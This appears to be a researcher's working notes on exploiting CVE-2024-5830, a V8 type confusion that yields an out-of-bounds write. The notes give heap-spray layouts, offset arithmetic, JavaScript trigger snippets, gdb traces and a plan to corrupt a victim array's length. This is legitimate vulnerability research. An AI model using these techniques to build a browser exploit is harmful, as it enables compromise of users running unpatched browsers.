[$25000][342456991] High CVE-2024-5830: Type Confusion in V8. Reported by Man Yue Mo of GitHub Security Lab on 2024-05-24
https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html
https://chromium-review.googlesource.com/c/v8/v8/+/5588058
Map::PrepareForDataProperty
UpdateDescriptorForValue
mu.ReconfigureToDataField
TryReconfigureToDataFieldInplace
FindRootMap
FindTargetMap
ConstructNewMap
descriptors->Replace() could write oob
they don’t even have a bound check for this...
this is the only user for `descriptors->Replace()` in map-updater
call stack:
TryReconfigureToDataFieldInplace
if (...) return;
GeneralizeField
if IsGeneralizableTo(...) return
UpdateFieldType
descriptors->GetDetails
descriptors->Replace
DescriptorArray::Replace
SetKey(descriptor_number, key);
SetDetails(descriptor_number, details);
SetValue(descriptor_number, value);
``
static constexpr int OffsetOfDescriptorAt(int descriptor) {
return kDescriptorsOffset + descriptor * kEntrySize * kTaggedSize;
}
```
write_offset = 16 + desc * 12
e.g. desc = 0x5000
16 + 0x5000 * 12 = 0x3c010
heap cage with RW start from 0x40000
vmmap of release
vmmap of debug
create a array at the beginning of script:
debug:
DebugPrint: 0x____483ed: [JSArray]
release:
0x____483ed <JSArray[1]>
warn: the addr changes if running with `gdb --args`
?is the addr fixed?
jsarray layout:
map
properties
elements
length
what we would do in general:
1. read a value
2. check if it’s okay
3. then update [value_addr-1, value_addr+1] mem region
what we could control:
array length value, a smi
```
if (old_details.attributes() != new_attributes_ ||
old_details.kind() != new_kind_ ||
old_details.location() != new_location_) {
// These changes can't be done in-place.
return state_; // Not done yet.
}
```
new_attributes_: 0x4
new_kind_: 0x0
new_location_: 0x0
```
using KindField = base::BitField<PropertyKind, 0, 1>;
using ConstnessField = KindField::Next<PropertyConstness, 1>;
using AttributesField = ConstnessField::Next<PropertyAttributes, 3>;
using LocationField = AttributesField::Next<PropertyLocation, 1>;
using RepresentationField = LocationField::Next<uint32_t, 3>;
```
attributes: [2-5)
kind: [0-1)
location: [5-6)
e.g.
so we need:
0 100 [0/1] 0
e.g. 0001 0000, which is 8 in smi
the current jsarray `length` addr is 0x4842c + 12 = 0x48438
equation:
$descriptors_array_base = 0x759 - 1
$descriptors_array_base + 16 + offset * 12 = $jsarray_base + 12
=>
$descriptors_array_base + 16 + (offset-1) * 12 = $jsarray_base
(0x759-1) + 16 + (24486-1) * 12 = 0x48324
with padding array:
```
let arr_padding = new Array(26);
const object4 = {};
object4.a = 1;
object4.b = 1;
object4.c = 1;
object4.d = 1;
delete object4.d;
%DebugPrint(arr_padding);
%DebugPrint(arr);
```
WARN:
the addr of `padding_array` would change, if u add more statements in source code like %DebugPrint()
i guess it’s cause of the BytecodeArray is allocated before the JSArray.
to handle the left elements in spray jsarray could not be divided by 3(which is the size of each descriptor size in descriptorarray),
we create 3 target arrays and paddings inbetween.
spray jsarray, fill with 8
spray jsarray elements
target jsarray 1 [len: 4]
map
properties
elements
length
target jsarray 1 elements [len: 2 + 8] offset: 14
padding jsarray [len: 4]
padding jsarray 1 elements [len: 2 + 2] offset: 22 % 3 == 1
target jsarray 2 [len: 4]
map
properties
elements
length
target jsarray 2 elements [len: 2 + 8] offset: 36
padding jsarray [len: 4]
padding jsarray 1 elements [len: 2 + 2] 44 % 3 == 2
target jsarray 3 [len: 4]
map
properties
elements
length
target jsarray 3 elements [len: 2 + 8]
The key should be a `Name` in normal situations, but now we are using the FixedArray(elements) of the target JSArray.
```
#0 0x0000562709d5652d in std::__Cr::__cxx_atomic_load<long> (__a=0x755, __order=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/cxx_atomic_impl.h:336
#1 0x0000562709d564db in std::__Cr::__atomic_base<long, false>::load (this=0x755, __m=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/atomic_base.h:56
#2 0x0000562709d5649b in std::__Cr::atomic_load_explicit<long> (__o=0x755, __m=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/atomic.h:325
#3 0x0000562709d42ad2 in v8::base::Acquire_Load (ptr=0x755) at ../../src/base/atomicops.h:352
#4 0x00007f8d8b71d41d in v8::base::AsAtomicImpl<long>::Acquire_Load<heap::base::BasicSlotSet<4ul>::Bucket*> (addr=0x755) at ../../src/base/atomic-utils.h:80
#5 0x00007f8d8b71d3c9 in heap::base::BasicSlotSet<4ul>::LoadBucket<(heap::base::BasicSlotSet<4ul>::AccessMode)0> (this=0x4f5, bucket=0x755) at ../../src/heap/base/basic-slot-set.h:407
#6 0x00007f8d8b782c6d in heap::base::BasicSlotSet<4ul>::LoadBucket<(heap::base::BasicSlotSet<4ul>::AccessMode)1> (this=0x4f5, bucket_index=76) at ../../src/heap/base/basic-slot-set.h:413
#7 0x00007f8d8b913364 in heap::base::BasicSlotSet<4ul>::Insert<(heap::base::BasicSlotSet<4ul>::AccessMode)1> (this=0x4f5, slot_offset=313068) at ../../src/heap/base/basic-slot-set.h:117
#8 0x00007f8d8b9132ed in v8::internal::RememberedSetOperations::Insert<(v8::internal::AccessMode)1> (slot_set=0x4f5, slot_offset=313068) at ../../src/heap/remembered-set.h:31
#9 0x00007f8d8b8ea66e in v8::internal::RememberedSet<(v8::internal::RememberedSetType)0>::Insert<(v8::internal::AccessMode)1> (page=0x2c700000010, slot_offset=313068) at ../../src/heap/remembered-set.h:102
#10 0x00007f8d8b8cf366 in v8::internal::Heap::GenerationalBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:7214
#11 0x00007f8d8b8ab8fc in v8::internal::Heap::CombinedGenerationalAndSharedBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:7186
#12 0x00007f8d8b8ab8a5 in v8::internal::Heap_CombinedGenerationalAndSharedBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:154
#13 0x0000562709d7cfc2 in v8::internal::heap_internals::CombinedWriteBarrierInternal (host=..., slot=..., value=..., mode=v8::internal::UPDATE_WRITE_BARRIER) at ../../src/heap/heap-write-barrier-inl.h:88
#14 0x0000562709d7cbf4 in v8::internal::CombinedWriteBarrier (host=..., slot=..., value=..., mode=v8::internal::UPDATE_WRITE_BARRIER) at ../../src/heap/heap-write-barrier-inl.h:138
#15 0x00007f8d8b87249b in v8::internal::DescriptorArray::SetKey (this=0x7fff0fc23428, descriptor_number=..., key=...) at ../../src/objects/descriptor-array-inl.h:138
#16 0x00007f8d8b872241 in v8::internal::DescriptorArray::Set (this=0x7fff0fc23428, descriptor_number=..., key=..., value=..., details=...) at ../../src/objects/descriptor-array-inl.h:226
#17 0x00007f8d8b872156 in v8::internal::DescriptorArray::Set (this=0x7fff0fc23428, descriptor_number=..., desc=0x7fff0fc23450) at ../../src/objects/descriptor-array-inl.h:234
#18 0x00007f8d8c07709c in v8::internal::DescriptorArray::Replace (this=0x7fff0fc23428, index=..., descriptor=0x7fff0fc23450) at ../../src/objects/objects.cc:3844
```
before:
all fields are 8
after:
key: 8
details: 72
value: 1, which is FieldType Any
we could use the `value` field to corrupt the `Map` field of a victim object,
as the previous 2 fields are controlled by us.
WriteBarrier crashed with the same reason as before, as the first field as a `Name` is a JSObject.
We need a new layout:
jsarray_1
jsarray_2
jsarray_3
spray_jsarray
spray_jsarray_elements
elements_1 [len: 2 + 17] offset: 1 % 3 == 1
victim_jsarray_1 [len: 4]
victim_jsarray_elements_1 [len: 2 + 3]
elements_2 [len: 2 + 17] offset: 29 % 3 == 2
victim_jsarray_2 [len: 4]
victim_jsarray_elements_2 [len: 2 + 3]
elements_3 [len: 2 + 17] offset: 57 % 3 == 0
victim_jsarray_3 [len: 4]
victim_jsarray_elements_3 [len: 2 + 3]
seems like the descriptor index can’t be modified into any value...
it’s int value -1 for a dict map
it’s less than the largest fast properties a jsobject could have(128?), not large enough to jump out of the LO space
we have to restart everything... fuck!
now what we could utilize is these 3 slots
key: 0
details: 0, raw_gc_state?
value: empty enum cache?
now it would ONLY write into RO region which the empty FixedArray lives in, and then segfault.
so we can’t trigger write using `DescriptorArray::Replace` here.
and maybe we could trigger write at `WriteToField`
the `old_representation` is none, we just need `new_representation_` to be double,
`CanBeInPlaceChangeTo()` would return false, and it would early return.
stack trace:
%CreateDataProperty(object, key, value)
JSReceiver::CreateDataProperty
...
TryFastAddDataProperty
Map::PrepareForDataProperty
In `Map::PrepareForDataProperty`, it would call `MapUpdater::Update()` and then abort with call into `Map::Normalize()`,
and return a dict map.
```c++
bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
Handle<Name> name, Handle<Object> value,
PropertyAttributes attributes) {
Tagged<Map> map =
TransitionsAccessor(isolate, object->map())
.SearchTransition(*name, PropertyKind::kData, attributes);
...
InternalIndex descriptor = map->LastAdded();
object->WriteToField(descriptor,
new_map->instance_descriptors()->GetDetails(descriptor),
*value);
}
```
details = new_map->instance_descriptors()->GetDetails(descriptor)
int field_index = details.field_index();
FieldIndex::ForPropertyIndex() {
int inobject_properties = map->GetInObjectProperties(); // <------- which is 0 for dict map
bool is_inobject = property_index < inobject_properties // <------- false
if (is_inobject) {
first_inobject_offset = map->GetInObjectPropertyOffset(0);
offset = map->GetInObjectPropertyOffset(property_index);
} else {
first_inobject_offset = FixedArray::kHeaderSize;
property_index -= inobject_properties;
offset = PropertyArray::OffsetOfElementAt(property_index);
}
}
JSObject::FastPropertyAtPut(FieldIndex index, Tagged<Object> value)
outobject_array_index = index() - first_inobject_property_offset() / kTaggedSize
property_array()->set(index.outobject_array_index(), value)
if property_index == 0, index.outobject_array_index() is 0
we need a offset, whose content is a appropriate value for a inobject FieldDetails?
index is at [19, 19+10] of details
Call this in gdb:
```
p v8::internal::PropertyDetails::FromByte(0x0d0000fe >> 1).field_index()
```
pwndbg> x/128x 0x041a00000759-1
0x41a00000758: 0x00000685 0x00000000 0x00000000 0x0000074d <- header
0x41a00000768: 0x000004cd 0x5f000000 0x0d000112 0x084003ff
0x41a00000778: 0x00000085 0x00000085 0x00000759 0x00000735
0x41a00000788: 0x00000000 0x00000000 0x000004cd 0x57000000
0x41a00000798: 0x0d0000cd 0x084003ff 0x00000085 0x00000085
0x41a000007a8: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a000007b8: 0x000004cd 0x56000000 0x0d0000fe 0x084003ff
0x41a000007c8: 0x00000085 0x00000085 0x00000759 0x00000735 <- index = 8, details value = 0x85 >> 1
0x41a000007d8: 0x00000000 0x00000000 0x000004cd 0x62000000
0x41a000007e8: 0x0d000104 0x084003ff 0x00000085 0x00000085
0x41a000007f8: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a00000808: 0x000004cd 0x0200a603 0x0d000082 0x084003ff
0x41a00000818: 0x00000085 0x00000085 0x00000759 0x00000735
0x41a00000828: 0x00000000 0x00000000 0x000004cd 0x00003000
0x41a00000838: 0x0d000081 0x084003ff 0x00000085 0x00000085
0x41a00000848: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a00000858: 0x000004cd 0x25000002 0x0d0000cc 0x084003ff
0x41a00000868: 0x00000085 0x00000085 0x00000759 0x00000735
0x41a00000878: 0x00000000 0x00000000 0x000004cd 0x63000003
0x41a00000888: 0x0d00010b 0x084003ff 0x00000085 0x00000085
0x41a00000898: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a000008a8: 0x000004cd 0x58000000 0x150000db 0x084003ff
0x41a000008b8: 0x00000085 0x00000085 0x00000759 0x00000735
0x41a000008c8: 0x00000000 0x00000000 0x000004cd 0x03000000
0x41a000008d8: 0x0d000103 0x084003ff 0x00000085 0x00000085
0x41a000008e8: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a000008f8: 0x000004cd 0x55000000 0x0d0000d9 0x084003ff
0x41a00000908: 0x00000085 0x00000085 0x00000759 0x00000735
0x41a00000918: 0x00000000 0x00000000 0x000004cd 0x7c000000
0x41a00000928: 0x0d0000ba 0x084003ff 0x00000085 0x00000085
0x41a00000938: 0x00000759 0x00000735 0x00000000 0x00000000
0x41a00000948: 0x000004cd 0x76000000 0x0d0000b1 0x084003ff
i need to write a small script to parse this
turns out using `p10` instead of `p8` is good
now we have a oob write to `a`’s dictionary properties
```
let foo1 = [];
%CreateDataProperty(a, `p${N}`, 1.1);
let foo2 = [];
```
the problem is `a` would normalize from fast -> slow during the call, and create a new dictionary on heap,
we can’t create a jsarray next to the dictionary before the call to `%CreateDataProperty` happens
dict is a hashtable, which is a fixedarray
kEntryKeyIndex = 0
kEntryValueIndex = 1
kEntryDetailsIndex = 2
found 2 indexes which causes oob write:
```
/*
{
"i": 74,
"b": "0x02000002",
"v": 16
}
corrupt details
*/
let N = 74;
/*
{
"i": 30,
"b": "0x03000000",
"v": 24
},
add a new corrupted key
*/
let N = 30;
```
First one corrupt `PropertyDetails`, second one set any HeapObject into the `key` position of an “empty” dict element
KindField = base::BitField<PropertyKind, 0, 1>
AccessorInfo is the native accessor, we can’t set its value from js(after the Error.captureStackTrace fix)
AccessorPair is the getter/setter struct, we could R/W memory though it(?) by confusing it with another HeapObject,
and then call:
But at first we need to bypass the type check, mostly v8 has 2 patterns handling accessors:
```
obj = GetAccessors();
if (IsAccessorPair(obj)) {
pair = AccessorPair::cast(obj)
...
} else if (IsAccessorInfo(obj)) {
info = AccessorPair::cast(obj)
...
}
```
```
DCHECK(...is accessors...)
obj = GetAccessors();
if (IsAccessorPair(obj)) {
pair = AccessorPair::cast(obj)
...
return;
}
DCHECK(IsAccessorInfo(obj))
info = AccessorPair::cast(obj)
...
```
As the `GetAccessors()` we control is the value (pointer) we write into the dict, we could write a Smi or HeapObject,
neither could make through the AccessorInfo or AccessorPair type check.
So we may try to find pattern 2 and specially the case which calls `IsAccessorInfo(obj)` first and then we could fallthrough.
status: not found yet.
we can’t oob write at the index for the second time, so i guess this is not possible.
refer to CVE-2024-3832: Object corruption on wasm functions installation
we cant only write double as a key, it’s not a valid `Name` object so it can’t be duplicated.
But since the write offset is at the “empty space” of the dict, so we accidentally added a new element into the dict.
the NameDict has 30 elements
If we call `Object.keys()` on it, it has 31 enumerable keys
Double is deemed to be a valid key for `HashTable`, but a invalid key for `NameDictionary`.
```
template <typename Derived, typename Shape>
int Dictionary<Derived, Shape>::NumberOfEnumerableProperties() {
ReadOnlyRoots roots = this->GetReadOnlyRoots();
int result = 0;
for (InternalIndex i : this->IterateEntries()) {
Tagged<Object> k;
if (!this->ToKey(roots, i, &k)) continue;
if (Object::FilterKey(k, ENUMERABLE_STRINGS)) continue;
PropertyDetails details = this->DetailsAt(i);
PropertyAttributes attr = details.attributes();
if ((int{attr} & ONLY_ENUMERABLE) == 0) result++;
}
return result;
}
// static
template <typename Derived, typename Shape>
bool HashTable<Derived, Shape>::IsKey(ReadOnlyRoots roots, Tagged<Object> k) {
// TODO(leszeks): Dictionaries that don't delete could skip the hole check.
return k != roots.unchecked_undefined_value() &&
k != roots.unchecked_the_hole_value();
}
template <typename Derived, typename Shape>
bool HashTable<Derived, Shape>::ToKey(ReadOnlyRoots roots, InternalIndex entry,
Tagged<Object>* out_k) {
Tagged<Object> k = KeyAt(entry);
if (!IsKey(roots, k)) return false;
*out_k = TodoShape::Unwrap(k);
return true;
}
```
now we need to find out the usage of kNumberOfElementsIndex of a dict
Call `to_fast` on target dict:
```
#0 v8::internal::BaseNameDictionary<v8::internal::NameDictionary, v8::internal::NameDictionaryShape>::IterationIndices (isolate=0x56254d5d5000, dictionary=...) at ../../src/objects/objects.cc:5800
#1 0x00007ff94175852b in v8::internal::JSObject::MigrateSlowToFast (object=..., unused_property_fields=0, reason=0x7ff935c8f828 "OptimizeAsPrototype") at ../../src/objects/js-objects.cc:3810
#2 0x00007ff94175bf12 in v8::internal::JSObject::OptimizeAsPrototype (object=..., enable_setup_mode=true) at ../../src/objects/js-objects.cc:4879
#3 0x00007ff94175bc0a in v8::internal::JSObject::MakePrototypesFast (receiver=..., where_to_start=v8::internal::kStartAtPrototype, isolate=0x56254d5d5000) at ../../src/objects/js-objects.cc:4845
#4 0x00007ff941308524 in v8::internal::StoreIC::Store (this=0x7fff1e01df60, object=..., name=..., value=..., store_origin=v8::internal::StoreOrigin::kNamed) at ../../src/ic/ic.cc:1874
...
```
Another off-by-one oob write, but still to a newly created object... We need to find an oob write to existing object
And it would trigger a CHECK in `TaggedArrayBase<D, S>::RightTrim()` due to the length mismatch.
we could allocate a large array(whose size can’t fit in the 0xb000 region) in the 0x40000 size region,
and see if we have a large enough offset to oob write from region 1-> region 2.
pwndbg> p/x large_object_threshold
$5 = 0x20000
the field index is 10bits long, not large enough to jump out of the first NewSpace region.
heapnumber layout:
```
@cppObjectLayoutDefinition
extern class HeapNumber extends PrimitiveHeapObject {
// TODO(v8:13070): With 8GB+ pointer compression, the number in a HeapNumber
// is unaligned. Modify the HeapNumber layout so it remains aligned.
value: float64;
}
```
now we need to figure out how to write controlled value into 208
#0 0x00007f96d06bce24 in v8::base::WriteUnalignedValue<unsigned long> (p=27775553503340, value=4607182418800017408) at ../../src/base/memory.h:43
#1 0x00007f96d06bcdfd in v8::base::WriteUnalignedValue<unsigned long> (p=0x19430000006c "", value=4607182418800017408) at ../../src/base/memory.h:48
#2 0x00007f96d06d8b9d in v8::internal::UnalignedDoubleMember::set_value_as_bits (this=0x19430000006c, value=4607182418800017408) at ../../src/objects/tagged-field.h:69
#3 0x00007f96d06d8b71 in v8::internal::HeapNumber::set_value_as_bits (this=0x194300000068, bits=4607182418800017408) at ../../src/objects/heap-number-inl.h:24
#4 0x00007f96d0a1effc in v8::internal::JSObject::WriteToField (this=0x7ffd193206e0, descriptor=..., details=..., value=...) at ../../src/objects/js-objects-inl.h:496
#5 0x00007f96d0a04f45 in v8::internal::(anonymous namespace)::TryFastAddDataProperty (isolate=0x557772754000, object=..., name=..., value=..., attributes=v8::internal::NONE) at ../../src/objects/js-objects.cc:3556
#6 0x00007f96d09f2bc3 in v8::internal::JSObject::CreateDataProperty (isolate=0x557772754000, object=..., key=..., value=..., should_throw=...) at ../../src/objects/js-objects.cc:4095
#7 0x00007f96d09ea04c in v8::internal::JSReceiver::CreateDataProperty (isolate=0x557772754000, object=..., key=..., value=..., should_throw=...) at ../../src/objects/js-objects.cc:1741
#8 0x00007f96d0e979b7 in v8::internal::__RT_impl_Runtime_CreateDataProperty (args=..., isolate=0x557772754000) at ../../src/runtime/runtime-object.cc:1270
#9 0x00007f96d0e97530 in v8::internal::Runtime_CreateDataProperty (args_length=3, args_object=0x7ffd19320bb0, isolate=0x557772754000) at ../../src/runtime/runtime-object.cc:1261
#10 0x00007f96cf38407d in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit () from /home/zc/ssd/v8_head/v8/out/Debug/libv8.so
we need at dict index at 67, try different object keys which could affect the hash order.
got it!
put an large enough victim array at the beginning of the script:
```
let victim = new Array(0x1000);
victim.fill(0);
let victim2 = [1, 1, 1];
```
trigger oob write at addr 0x26000, which should be in the middle of somewhere in the `victim`’s fixedarray.
then we could iterate the `victim` array and get the index we have wrote.
(maybe we need to trigger gc)
do the oob write again, modify the addr to 0x26000 + [(victim length - last wrote index) * 4] + [offset to victim2’s fixedarray’s length field]
TryFastAddDataProperty
AddProperty
JSReceiver::CreateDataProperty
Runtime_CreateDataProperty
Runtime::DefineObjectOwnProperty
Runtime_DefineObjectOwnProperty
KeyedStoreGenericAssembler::KeyedStoreGeneric, slow label